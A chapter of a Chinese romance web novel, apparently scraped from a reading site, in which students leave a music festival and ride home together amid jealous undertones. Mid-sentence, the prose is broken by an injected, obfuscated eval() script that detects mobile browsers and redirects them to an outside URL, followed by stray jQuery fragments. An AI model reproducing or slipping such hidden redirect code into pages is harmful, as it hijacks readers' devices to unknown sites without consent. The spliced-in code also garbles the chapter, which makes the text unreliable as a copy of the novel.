10. 别感冒

作品:《好眠啦小狗

    表演临近尾声,路思游心有余悸,生怕再发生刚才的危险,想了想,决定先离开,逆着人流跟着走出观众区,到休息处等待和沈正柏会合。


    给周开妍发了约定位置后,电量栏掉到18,她熄灭屏幕,而后就撞见不远处路灯下,祁熠被两个女生围着,好像是要联系方式。他把耳边的手机拿开,不知道说了句什么,两个女孩互看一眼,点点头讪讪地离开了。


    收回视线,坐到贴了号码的塑料登上,没坐一会儿就看见保安过来巡逻检查,挨个没收掉熊熊燃烧的冷焰。虽然音乐节注意事项上已经明文禁止燃放危险物品,但还是有人偷偷钻空子。


    一首歌过去,祁熠挂掉电话,朝她这边走近,目光触及一处,突然问:“喜欢这一款?”碎玉般的声音混着远处繁噪的鼓点传来。


    路思游怔了怔,嘴唇微微抿起,疑惑反问”“……什么?”


    他没回答,朝她手里的横幅扬扬下巴示意。


    冷焰被收后舞台区热情丝毫未减,大合唱声回响在半空,她拍了拍被大音箱震了一晚上嗡嗡作响的耳朵,没细想他话里的意味,只以为他是在问乐队风格,便下意识点了点头。


    点完头忽地反应过来,原来他是在问林白,她将握在手里起褶皱的横幅摊开,试图恢复平整。


    上面写着林白的应援语,旁边还印了一张林白的大头美照。她怎么也算是一位乐粉,而且话已经说出口,她只好顺着补充,老实道:“你问的是林白吗,颜值是挺高的。”


    祁熠从喉咙滚出一声低低的轻笑,笑声短促:“口味变得挺快。”他的声线不带温度,听不出是调侃还是阴阳。


    感觉到他话里的不友善,路思游不明所以,她收好手里的横幅,不着痕迹的把凳子往旁边拉了拉,保持些许距离。


    她暗自思忖,不知道何时惹到这位了,虽然祁熠这人向来一副高岭之花的模样,冷淡疏离,但一般待人接物还算是礼貌有度,怎么这次他回国一趟,总觉得他偶尔和自己对话时,话里总是阴阳怪气夹枪带棒的?


    难道还在对自己高三跟他决裂耿耿于怀?还是扇巴掌的旧账?他应该不记仇吧,高中时他和隔壁篮球校队打架甚至闹到了主任那儿,事后还能握手言和重归于好,她的事儿他没理由记到现在。再说了……


    祁熠埋头打游戏,双腿自然敞着,姿态松散地靠在椅背,裤腿和她的裙摆布料在夜风中微微摩擦。距离还是很近,路思游感觉有些不自在,直接往旁边挪了一个座位,最后不忘作出贴心解释:“这样你可以坐得更舒服一点。”


    祁熠闻声,从游戏里抬头,侧过脸看她。


    她今天穿的一套套装,上衣是件黑色修身毛呢外套,领口袖口都镶着圈灰棕绒毛,下身是同色及膝半裙,黑发服帖的垂落,她安静坐在一边,夜色里,整个人显得有些优雅。


    目光先是落在她的脸上,周开妍在她眼妆叠了层细闪,在灯光下,衬得眼眸都亮亮闪闪的。顿了几秒,缓缓下移,停在她裙摆下露出的半截小腿上。


    眉毛蹙了一下,他脱掉身上的夹克外套,随手扔进她怀里,露出里面的黑色卫衣,语气略带强硬:“穿上。”


    外套上面还带着他的温热,沉甸甸地压在她手臂上,有点懵:“不用,其实我还不怎么冷。”


    今天回暖,气温并不是很低,虽然穿的是裙子,但小腿套了厚袜和靴子,裹得严严实实,加上台下人挤人没感觉到冷。只是郊外的风有点大,又面向小川湖,顺湖吹来,吹的脸有些僵。


    “我冷。”祁熠头也没抬,指尖在游戏界面划得飞快。


    路思游更懵了,“你冷为什么不自己穿?”


    “看你穿的少,”他毫无逻辑的丢过来一句:“我眼睛冷。”


    路思游一时语塞:“……?”


    这人是什么诡异的脑回路?


    沉默两秒,她认真建议:“哦真的吗?那你该测下眼压了。”


    恰好一局结束,屏幕上亮起胜利标志。


    退出游戏,祁熠瞥见旁边的动作,他双手环胸,好整以暇地瞧她递回来的手,就是不接。


    “最近流感高发,”他漫不经心地说,语气带点不容拒绝的刁难:“回去想传染给你室友还是无辜的小狗?”


    说话的间隙,凌冽夜风无端大了起来,掀动湖面,裹着更浓重的寒意和湿意直直扑往身上。


    她一噎,感受到这阵妖风的威力,想起学校要和室友同吃同住,昨天还接了一单上门喂狗委托,传染给她们就不妙了,挣扎两秒,不再推辞,低声道了句“谢谢。”


    ……


    晚上十点,表演全部结束,人群像退潮般涌向闸机门口。


    周开妍顺着人群挤出来,丸子头蔫塌塌的垂在后脑勺,几缕刘海沾了汗贴在脸颊,她一眼看见旁边休息处等待的路思游,隔着人头朝她挥手示意。


    周开妍接过她的手机连接上充电宝,“睡眠月亮表演完拍的大合照,你拍了吗?他们每场演出都会在官博放和观众的合照。”路思游点点头,嘴角一弯:“拍了。”


    “你都不知道刚才我离林白超近!”周开妍兴奋地复盘,“他贝斯solo那段你看见没?是不是进步很大?我刚刚台下手都快拍断了……”她两根手指放大新鲜的林白照片,忽然叹了口气惋惜:“你说林白颜值才华都没得挑,就是身高差了一点儿,要是我家林白能蹿到他那么高就好了,那就真没缺点了……”


    她手一指,精准的指到了冰柜旁站着的188男人。


    路思游”“……”


    祁熠正站在冰柜前,拉开玻璃门,伸手去拿矿泉水。


    沈正柏不知道从哪里冒了出来,头发同样也是汗淋淋的,他一把抢过祁熠手中刚扫出来的冰镇矿泉水,拧开瓶盖,仰头咕噜噜地灌水。


    一瓶水马上见了底,沈正柏喘了口气,转身就瞅见祁熠和他一起来时穿的衣服,转眼妥帖的罩在路思游身上。


    沈正柏抬起手肘撞了撞祁熠,脸上是毫不掩饰的八卦:“呦,你衣服怎么跑人家路思游身上了?”


    路思游指指沈正柏给周开妍看:“沈正柏,我们一个高中的。”


    沈正柏看见背后站着的周开妍,眼睛一亮,立刻笑着接话:“哎呀我认识!周开妍嘛,我们两个高一上学期同过班呢。”周开妍有点儿近视,眯着眼凑近了才看清沈正柏的脸,也笑着点点头:“是啊,我记得你好像还当过咱们组小组长来着……”


    “对了,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992673|193790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们俩是怎么过来这边的?”得知周开妍和路思游是坐出租车来的,沈正柏当下就招呼她们,语气十分热络:“平时这里就荒郊野岭的没什么车经过,现在大晚上散了场更难打车了,正好坐我的车回去吧,保证把你俩安全送到宿舍楼下……”


    两个人走在后面,跟着沈正柏朝停车场方向走去。车子停在一辆黑色suv前,周开妍怕晕车钻进副驾驶,路思游进了后座,刚坐稳,另一侧门就被拉开,一阵皂角香气带着车库的凉意漫进来。


    不用回头也知道是谁。


    沈正柏随手点下音乐,驱车离开车库。


    刚驶上高架,周开妍就感觉膝盖上的书包传来一阵嗡嗡震动,是路思游的手机响了。她拔掉数据线,扭头看向后座:“姐妹,你crush给你打电话了耶。”


    后排的两人同时看去。


    她伸出胳膊,特意把屏幕朝后座晃了晃,屏幕上“姜柯骋”三个字在昏暗车厢里尤为醒目,这个角度,想不看见都难。


    车子恰好撵过一段陡峭的坡路,随着车身的颠簸,周开妍哎呀一声,手机脱手向地面落去——


    一只细长的手从旁侧伸出,在半空中稳稳地接住。


    视线终于从游戏界面移开,屏幕光打在祁熠的面间,拇指似是无意地擦过侧边按键,跳动的来电提示倏然消失,屏幕随之暗了下去。


    下一秒,耳边一道淡定的声音响起,还带了点儿无辜:“啊,不好意思,手刚才有点儿抖。”


    路思游礼貌向他道谢,压下心里升腾的一丁点莫名的不自然,故作镇定的接过手机。她余光扫了眼,祁熠重新埋进游戏里,手部上动作依旧流畅,一副置身事外的态度,心里那点不自然顿时烟消云散。


    只是不知道是不是错觉,他的脸色微沉的,周身气压仿佛比刚才更低了几度。


    驾驶座上的沈正柏听见她俩对话,好奇地问:“路思游有喜欢的男生了?”


    周开妍点头,笑着说,“是我们隔壁系的男生啦,最近好像和思游走得挺近的,”她想了想,“两人站一块,挺养眼的。”


    “沈正柏。”


    沈正柏嘴唇微张,还没来得及接话,就听到后座沉浸游戏里的祁熠突然开口喊他名字,配上一脸不耐烦的神情:“能不能给你那音乐关了,好吵。”


    车载音箱正在播放《死了都要爱》,车里回荡着信的嘶吼声“死了都要爱,不淋漓尽致不痛快……”


    周开妍深有体会,她冲进前排看林白,也就忍了音响下站一晚上。这会儿安静下来耳朵嗡嗡的,狂躁的鼓点声仿佛在颅内回响。也可能是隐隐嗅到某种微妙的气氛,她跟着接话:“好像是有点挺吵,或者你切一首舒缓点的呢。”


    “行,我切首舒缓的。”沈正柏手指在屏幕上划拉切歌:是草东的《情歌》。前奏的平静只持续了十几秒,就听见压抑的男声压抑在唱:“杀了他,顺便杀了我……


    晚上十点半,车内寂静了几秒。


    周开妍小心翼翼问:“这……算舒缓?”


    “失误失误。”


    再切:《煎熬》。


    再切:《血腥爱情故事》。


    再切:《给我一个理由忘记》


    ……